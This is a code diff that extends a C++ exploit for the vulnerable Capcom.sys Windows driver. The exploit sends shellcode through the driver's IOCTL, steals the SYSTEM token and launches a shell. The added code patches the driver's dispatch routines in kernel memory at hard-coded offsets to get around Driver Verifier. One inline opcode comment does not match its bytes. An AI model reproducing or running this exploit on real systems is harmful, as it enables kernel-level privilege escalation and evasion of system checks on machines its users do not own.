2222//
2323
2424typedef void *PEPROCESS;
25+ typedef void *PERESOURCE;
26+
27+ typedef enum _POOL_TYPE
28+ {
29+ NonPagedPool,
30+ NonPagedPoolExecute = NonPagedPool,
31+ } POOL_TYPE;
2532
2633using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();
2734
28- using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
35+ using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI*)(_In_ HANDLE ProcessId,
2936 _Out_ PEPROCESS * Process);
3037
31- using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);
38+ using OBDEREFERENCEOBJECT = VOID(NTAPI*)(_In_ PVOID Object);
3239
33- using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
40+ using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI*)(
3441 _Inout_ PEPROCESS Process);
3542
36- using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
43+ using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI*)(
3744 _In_ PACCESS_TOKEN PrimaryToken);
3845
39- using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
46+ using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI*)(
4047 _In_ PUNICODE_STRING SystemRoutineName);
4148
49+ using RTLEQUALUNICODESTRING = BOOLEAN(NTAPI*)(
50+ _In_ PCUNICODE_STRING String1,
51+ _In_ PCUNICODE_STRING String2,
52+ _In_ BOOLEAN CaseInSensitive);
53+
54+ using RTLINITUNICODESTRING = VOID(NTAPI*)(
55+ _Inout_ PUNICODE_STRING DestinationString,
56+ _In_ PCWSTR SourceString);
57+
58+ using EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE = PVOID(NTAPI*)(
59+ _In_ PERESOURCE Resource);
60+
61+ using EXRELEASERESOURCEANDLEAVECRITICALREGION = VOID(NTAPI*)(
62+ _In_ PERESOURCE Resource);
63+
64+ using EXALLOCATEPOOL = PVOID(NTAPI*)(
65+ _In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes);
66+
67+ using EXFREEPOOL = VOID(NTAPI*)(
68+ _In_ PVOID P);
69+
4270// Represents shellcode to be executed
4371#include < pshpack1.h>
4472typedef struct _SHELLCODE
@@ -57,6 +85,26 @@ typedef struct _IOCTL_IN_BUFFER
5785 SHELLCODE Shellcode;
5886} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;
5987
88+ // winternal.h does not have complete members
89+ typedef struct _LDR_DATA_TABLE_ENTRY_EX
90+ {
91+ LIST_ENTRY InLoadOrderModuleList;
92+ LIST_ENTRY InMemoryOrderModuleList;
93+ LIST_ENTRY InInitializationOrderModuleList;
94+ PVOID DllBase;
95+ PVOID EntryPoint;
96+ ULONG SizeOfImage;
97+ UNICODE_STRING FullDllName;
98+ UNICODE_STRING BaseDllName;
99+ ULONG Flags;
100+ USHORT LoadCount;
101+ USHORT TlsIndex;
102+ LIST_ENTRY HashLinks;
103+ PVOID SectionPointer;
104+ ULONG CheckSum;
105+ ULONG TimeDateStamp;
106+ } LDR_DATA_TABLE_ENTRY_EX, * PLDR_DATA_TABLE_ENTRY_EX;
107+
60108// //////////////////////////////////////////////////////////////////////////////
61109//
62110// prototypes
@@ -82,13 +130,21 @@ static bool LaunchShell();
82130// Indicates whether token stealing is done successfully
83131static BOOLEAN gIsTokenStealingSuccessful = FALSE ;
84132
133+ // Indicates mitigation for driver verifier
134+ static BOOLEAN gIsDvMitigationEnabled = FALSE ;
135+
85136// //////////////////////////////////////////////////////////////////////////////
86137//
87138// implementations
88139//
89140
90- int main ()
141+ int main (int argc, const char * argv[] )
91142{
143+ if (argc > 1 && strcmp (argv[1 ], " --mitigatedv" ) == 0 )
144+ {
145+ gIsDvMitigationEnabled = TRUE ;
146+ }
147+
92148 ExploitCapcomDriver ();
93149 return 0 ;
94150}
@@ -107,6 +163,11 @@ static bool ExploitCapcomDriver()
107163 std::cout << std::hex;
108164 std::cout << " [*] Capcom.sys exploit" << std::endl;
109165
166+ if (gIsDvMitigationEnabled == TRUE )
167+ {
168+ std::cout << " [*] DV mitigation is enabled" << std::endl;
169+ }
170+
110171 // Open the device created by Capcom.sys
111172 auto DeviceHandle = make_unique_ex (
112173 CreateFile (TEXT (" \\\\ .\\ Htsysm72FB" ), GENERIC_READ | GENERIC_WRITE,
@@ -224,6 +285,83 @@ static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
224285 *reinterpret_cast <PEPROCESS*>(GetSystemRoutineAddress (
225286 MmGetSystemRoutineAddress, L" PsInitialSystemProcess" ));
226287
288+ if (gIsDvMitigationEnabled == TRUE )
289+ {
290+ auto RtlEqualUnicodeString =
291+ reinterpret_cast <RTLEQUALUNICODESTRING>(GetSystemRoutineAddress (
292+ MmGetSystemRoutineAddress, L" RtlEqualUnicodeString" ));
293+
294+ auto RtlInitUnicodeString =
295+ reinterpret_cast <RTLINITUNICODESTRING>(GetSystemRoutineAddress (
296+ MmGetSystemRoutineAddress, L" RtlInitUnicodeString" ));
297+
298+ auto ExAllocatePool =
299+ reinterpret_cast <EXALLOCATEPOOL>(GetSystemRoutineAddress (
300+ MmGetSystemRoutineAddress, L" ExAllocatePool" ));
301+
302+ auto ExFreePool =
303+ reinterpret_cast <EXFREEPOOL>(GetSystemRoutineAddress (
304+ MmGetSystemRoutineAddress, L" ExFreePool" ));
305+
306+ auto PsLoadedModuleList =
307+ *reinterpret_cast <PLIST_ENTRY*>(GetSystemRoutineAddress (
308+ MmGetSystemRoutineAddress, L" PsLoadedModuleList" ));
309+
310+ auto PsLoadedModuleResource =
311+ *reinterpret_cast <PERESOURCE*>(GetSystemRoutineAddress (
312+ MmGetSystemRoutineAddress, L" PsLoadedModuleResource" ));
313+
314+ auto ExEnterCriticalRegionAndAcquireResourceExclusive =
315+ reinterpret_cast <EXENTERCRITICALREGIONANDACQUIRERESOURCEEXCLUSIVE>(GetSystemRoutineAddress (
316+ MmGetSystemRoutineAddress, L" ExEnterCriticalRegionAndAcquireResourceExclusive" ));
317+
318+ auto ExReleaseResourceAndLeaveCriticalRegion =
319+ reinterpret_cast <EXRELEASERESOURCEANDLEAVECRITICALREGION>(GetSystemRoutineAddress (
320+ MmGetSystemRoutineAddress, L" ExReleaseResourceAndLeaveCriticalRegion" ));
321+
322+ // Disable normal kernel APCs and acquire resource
323+ ExEnterCriticalRegionAndAcquireResourceExclusive (PsLoadedModuleResource);
324+
325+ // Critical region starts herewith below
326+ {
327+ UNICODE_STRING CapcomNameUs;
328+ RtlInitUnicodeString (&CapcomNameUs, L" capcom.sys" );
329+
330+ for (PLIST_ENTRY Entry = PsLoadedModuleList;
331+ Entry != PsLoadedModuleList->Blink ;
332+ Entry = Entry->Flink )
333+ {
334+ PLDR_DATA_TABLE_ENTRY_EX LdrEntry =
335+ CONTAINING_RECORD (Entry, LDR_DATA_TABLE_ENTRY_EX, InLoadOrderModuleList);
336+
337+ if (RtlEqualUnicodeString (&CapcomNameUs, &LdrEntry->BaseDllName , TRUE ) == TRUE )
338+ {
339+ BYTE PatchShellcode[] = {
340+ 0x33 , 0xC0 , // xor edx, edx
341+ 0x90 // nop
342+ };
343+
344+ // Patch for IRP_MJ_DEVICE_CONTROL
345+ memcpy (
346+ (void *)((UINT_PTR)LdrEntry->DllBase + 0x631 ),
347+ &PatchShellcode,
348+ sizeof (PatchShellcode));
349+
350+ // Patch for IRP_MJ_CREATE and IRP_MJ_CLOSE
351+ memcpy (
352+ (void *)((UINT_PTR)LdrEntry->DllBase + 0x518 ),
353+ &PatchShellcode,
354+ sizeof (PatchShellcode));
355+
356+ break ;
357+ }
358+ }
359+ }
360+ // Critical region ends
361+
362+ ExReleaseResourceAndLeaveCriticalRegion (PsLoadedModuleResource);
363+ }
364+
227365 // Get the process object of the current process
228366 PEPROCESS CurrentProcess = nullptr ;
229367 NTSTATUS Status = PsLookupProcessByProcessId (PsGetCurrentProcessId (),
0 commit comments